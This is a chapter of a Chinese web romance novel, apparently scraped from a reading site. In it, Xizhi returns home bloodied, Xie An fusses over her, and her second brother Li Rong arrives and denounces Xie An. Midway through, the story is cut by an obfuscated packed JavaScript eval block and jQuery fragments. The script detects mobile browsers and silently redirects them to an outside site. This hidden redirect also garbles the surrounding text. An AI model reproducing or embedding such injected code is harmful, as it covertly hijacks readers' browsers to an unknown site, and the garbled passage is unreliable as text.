77. 二哥破防
作品:《假死掉马后陷入修罗场》 惜芷一口气不停歇地跑回李家,推门进去时,院内二人应声转头,瞧见惜芷形容狼狈,均面色大变。
“惜芷!”
“小芷!”谢安与李家婶子前后喊道,同时朝惜芷快步走来。
惜芷一怔,呐呐道:“谢安,你怎来了?”几日不见,眼下瞧着近在咫尺的面孔,一时怯步。
谢安没回话,看着她面上干涸的血迹,面色凝重,急声道:“婶子说你去送菜了,怎会弄成这般模样?”他伸手碰了碰惜芷染血的脸侧,擦去血迹后,露出底下完好无损的雪白颊肉。
见惜芷面色未变,不似受疼的模样,他不动声色地松了口气。
“是啊,你怎会弄得满身是血,可是有人为难你?”李婶绕着她转了一圈,不敢伸手碰她。
见二人误会,惜芷不自在地躲开谢安替自己擦拭的手指,解释道:“婶子,这血不是我的。我没受伤。”旋即,将方才之事长话短说,略过傅靖,只道路上遇见一名摔倒在地的受伤男子,身上的血是扶他起来时染上的。
李婶闻言长处一口气,抚着胸口道:“没事便好,没事便好。虽说是好心,可防人之心不可无,下回还是要当心些。”
“嗯。”惜芷应声,伸手扯了扯沾了血污的衣裙:“我去换件衣裳。”
谢安目送她进屋,低头看着指腹上的血污,若有所思。这血当真是救人不慎沾上的吗?他瞧着,倒像是利器刺入后溅上的。
“婶子,这几日可有闲杂人等上门?”
李家婶子看他一眼,道:“除了谢公子您,这几日未曾有生人过来。”她语气微妙,活了一把年纪,若说她看不出谢安那点心思,自是不可能的。
方才谢安替惜芷擦血的一幕李婶看在眼里,对他这动手动脚的行为很是不满。家里小白菜遭人觊觎,且小白菜还一副很愿意被拱走的模样。
唉。李婶默默叹气,只觉面前的谢安哪哪也不顺眼,态度冷下来:“谢公子如今也看到了,小芷怕是不便见你,不若改日再来?”
谢安微微一笑:“我可以慢慢等。”
这谢公子怎么听不懂好赖话。李婶“哦”一声,将人请进屋,亲自斟了一杯茶水递给谢安,转头找了个由头出屋去了。
人走后,谢安抬手端起茶,一愣,低头看去,茶水哪有半点热气,分明凉透了。
半响,谢安轻笑一声,毫不在意,仰头将茶水一饮而尽,嘴里叹道:“好茶。”
弯腰躲在门外偷听的李家婶子一僵,叹为观止地起身。锤了锤酸痛的老腰,扭头看见梳洗更衣的惜芷,披着一头湿发,茫然不解地看着自己。
李婶面色一变,忙走过去将人拉远些。
惜芷不明所以,却还是乖乖跟着李婶,受李婶紧张的神色所染,下意识压低声音,问道:“婶子,我们这是要做什么?”
李婶将人拉到墙角,神情严肃:“小芷,你实话与我说,你对这谢公子是何想法?”婶子觉着,这谢公子不太靠谱啊。冷掉的陈茶落到他嘴里,都能称上一句“好茶”。也不知这从前过得是何苦日子。
亏他穿着谈吐瞧着气质不凡的模样。李家婶子忧心忡忡地想着。
惜芷试图遮掩,但通红的脸颊还是暴露了她的心思:“我、我……婶子怎么突然问起这个?”
看她这幅小女儿家羞赧的情态,李婶心里苦啊。
“没,你就当婶子随口一问。”
惜芷若有所思地点头,探头往堂屋看:“谢安呢?”
“里头呢。”李婶子声音虚弱,抬手指了指。
“哦。”惜芷不经意地理顺裙摆,淡声道,“我过去瞧瞧。”
“去吧。婶子去替你拿热帕子,湿着头发会受寒。”李家婶子摆摆手,转身离开,背影透着沉重悲凉的气氛。
“婶子……”这是怎么了?惜芷一头雾水,一步三回头地进屋。心里还念着婶子,没注意屋内坐着的/某人,在她进来的瞬间不动声色地挺直腰背,清了清嗓子起身迎上前。
谢安目光落在她的一头湿发上,蹙眉不赞同道:“怎么不擦干头发?”
惜芷回神,抬手摸了摸,悻悻地看着自己湿漉漉的掌心:“忘了。”
“帕子放在何处?”谢安说罢,又改口道,“算了,我去隔壁让下人拿热帕子过来。”旋即便要出去。
惜芷忙将人拉住,婉拒的话还未说出口,拿着热帕子的李婶正好跨过门槛,抬眼便见二人拉拉扯扯的,登时眼前一黑。
“这是?”
惜芷“唰”地松手,讪讪一笑:“婶子,你别误会。”
“嗯。不误会。”李家婶子气若游丝。
谢安面色不变,自觉地接李家婶子手中的热帕子,颔首道:“多谢婶子。”
“嗳,不是,你,我。”末了,李家婶子长叹一口气,摆手道,“麻烦谢公子了。”
“晚辈应该的。”谢安说着,抬手将手中的热帕子搭在惜芷脑袋上,将一头湿发拢住,细细擦拭着。
惜芷想躲,奈何身后之人态度强势,不由分说地替她擦拭,还不许她半路逃走,只得半推半就地坐在椅子上,僵着脑袋一动不敢动。
李婶坐在二人对面,面无表情地看着谢安替惜芷擦发。
三人过于沉浸,以至于没听见外头敲门的声音。李榕凭借对家门的熟稔,着人翻墙替自己开了门。
怀着乱糟糟的心情踏入家门,便瞧见阿娘生无可恋地坐着,阿娘对面,一对男女可谓柔情蜜意、黏糊不清。
当看清擦发之人是谢安,视线下移,对上自家小妹惊愕的目光。
李榕脑子嗡的一声,手里拎着的糕点“啪嗒”落在地上,发出一道沉重的闷响。
在场无人在意。
李婶看了眼突然出现的自家二儿子,拧着眉仔细思忖片刻,恍然大悟,儿子信里说的日子好像便是今日。
因着谢安之事,她全然忘了今日儿子还要回来呢。李婶一拍脑袋,笑呵呵地起身:“怎么自己进来了,为娘还想着与小芷去门口迎你呢。”
“是的是的。”惜芷点头附和道。
李榕笑笑,平静道:“儿子在门外敲了一刻钟的门。”
“是吗?”李家婶子一脸惊诧,转头与惜芷对视一眼,和稀泥道,“进自己家怎么还要敲门呢,你看没开门你不也进来了。”
“阿娘说的对。”李榕又笑笑,转头看向出现在自己家中的不速之客,礼貌颔首,“见过谢小将军。”
谢安将手里冷掉的两块帕子放至一旁的铜盆中,回道:“不必多礼,二哥与婶子一同唤我仲景便可。”
他一面说着,一面四处张望,似在寻什么。惜芷仰头看他一眼,会意,默默从袖子里掏出一根簪子递过去。
先前谢安从上京送她来临祁时,便替她簪过发。那两日随行伺候的丫鬟路上不慎弄伤了手,她原是想自己动手的,无奈自己一头长发又浓又密,手都举酸了还是梳的一团糟,最后只得败下阵来。
出乎意料,谢安手很巧,虽不会什么复杂花样,但也足矣。
谢安接过簪子,在李家婶子与李榕的注视下,面不改色地替惜芷绾发。
“好了。”他低声道。
惜芷点点头,抬手摸了摸,又晃了晃脑袋,很是满意。
“小芷,你……”李榕脑袋发晕,声音发颤,“谢小将军这是何意?”
惜芷离家出走的大脑归位,满意的神色一僵。自己是洗头洗进水了吗?怎么这么自然的就让谢安替自己绾发了?还是当着婶子与二哥的面!
“……”
屋内一阵难言的沉默,无人开口。唯有谢安镇定自若,又道:“二哥唤我仲景便好。”
李
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283404|161666||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
榕怎会听不出这话暗藏的意味,彻底笑不出来,疏离道:“小将军说笑了。身份有别,在下不过一低贱商人,怎敢冒犯小将军。”
谢安面不改色,亲自走过去,俯身捡起掉在地上的糕点,抖了抖油纸上的灰尘,将其放在惜芷身侧的桌上。
想了想,端起铜盆,出门前回身嘱咐道:“二哥先坐着,我将东西收拾出去。”俨然一副主人做派。
李榕茫然了,这还是自己家吗?
一个时辰后,李榕发现自己的卧房空空荡荡,只在角落摆着张孤零零的床榻,绝望地找上自家阿娘。
李家婶子一愣,解释道:“你大哥认为这间院子太小,便做主买下了隔壁院子,我和小芷在前两日便搬过去了,顺便让下人把你的东西也搬走了。”
李榕跟着几人进了隔壁院子,四处打量一番,眉间愁云一片。这间宅院与原先的院子可谓天壤之别。他行商多年,一眼便瞧出屋内各处摆置的摆件都不是凡品。
大哥在刑部当差,每月月俸就那个数,除非贪污,否则定拿不出这么多银两。
李榕腹诽,大哥还没自己有钱。自己就算掏空腰包也买不来这么一间宅院,大哥更是无从谈起。
恐怕置办宅院的,另有其人。他想着,目光顺势落在那道跟在自家小妹右后方的人影身上,咬了咬牙。
谢安察觉到这道怨气满满的目光,无声勾起唇角。
晚膳时,李榕看着坐在椅子上纹丝不动的某人,咬牙挤出笑:“不知谢小将军来临祁所为何事?”
谢安笑道:“来见一人。”至于是何人,无需多言。
李榕哽住,忍不住怀疑自己面前之人当真是传闻中生人勿近的谢小将军吗?怎么这般……厚颜无耻。
晚膳在一阵尴尬寒暄中度过,下人收拾完残羹,为众人捧来热茶。
惜芷双手捧着茶暖手,看了眼在与谢安的对话中节节败退的二哥,见其面色凝重,谢安则与之相反,怡然自得,垂眸端着茶,修长的手指拿住茶盖轻轻拨弄着。
她看不过眼,暗地里揪住这人的衣角,示意她适可而止。
谢安瞥她一眼,怕惹人生气,默默放下手中的茶,识趣起身告退。
人走后,屋内沉重的气氛骤然一松。
李榕率先开始盘问,茶杯重重落地,沉声问道:“小芷可知那谢仲景对你安的什么心思?”方才他还一口一个谢小将军,眼下人走后,眼也不眨地开始直呼大名。
“嗯。”
“我便知你……不知。”李榕猛地抬起头,“嗯?什么?你知晓?”
他痛心不已,“你可知这谢仲景在上京的风评?”上回在小芷身边瞧见这人,他便开始警觉,还特意写信去京中,托大哥帮忙打听。
“这谢仲景与丞相府的杨三姑娘订过婚,之后为了另一女娘毅然退婚,全然不顾女娘的颜面,当真铁石心肠。”李榕义愤填膺道,“你可知另一女娘是何人?乃是京城余家的二姑娘,这位二姑娘对谢仲景痴心一片,却始终无法打动他的心,最后是靠着替他赴死才博得一席地位。”
“这位二姑娘太过蠢笨,怎能为了一男子轻易葬送自己的性命!”他说着,语气愈发激动,“而且人活着的时候不珍惜,死后才来后悔,又有何用?”
“上京众人都道谢仲景对那位死去的余二姑娘用情至深,哪曾想这人转头便来临祁对你表忠心。当真虚伪至极!”
李榕骂得畅快,未曾注意到自家小妹面色心虚,不住地擦着额角冒出的冷汗。
若二哥知晓自己便是他口中那位蠢笨不堪的余二姑娘。惜芷不敢想那个场面会有多可怕。
她默默缩了缩,点头道:“二哥说的对。你放心,我心里有数。”
“你没有数。”李榕痛心疾首,“你看他今日那副主子作态,分明是拿捏了你不会拒绝他。”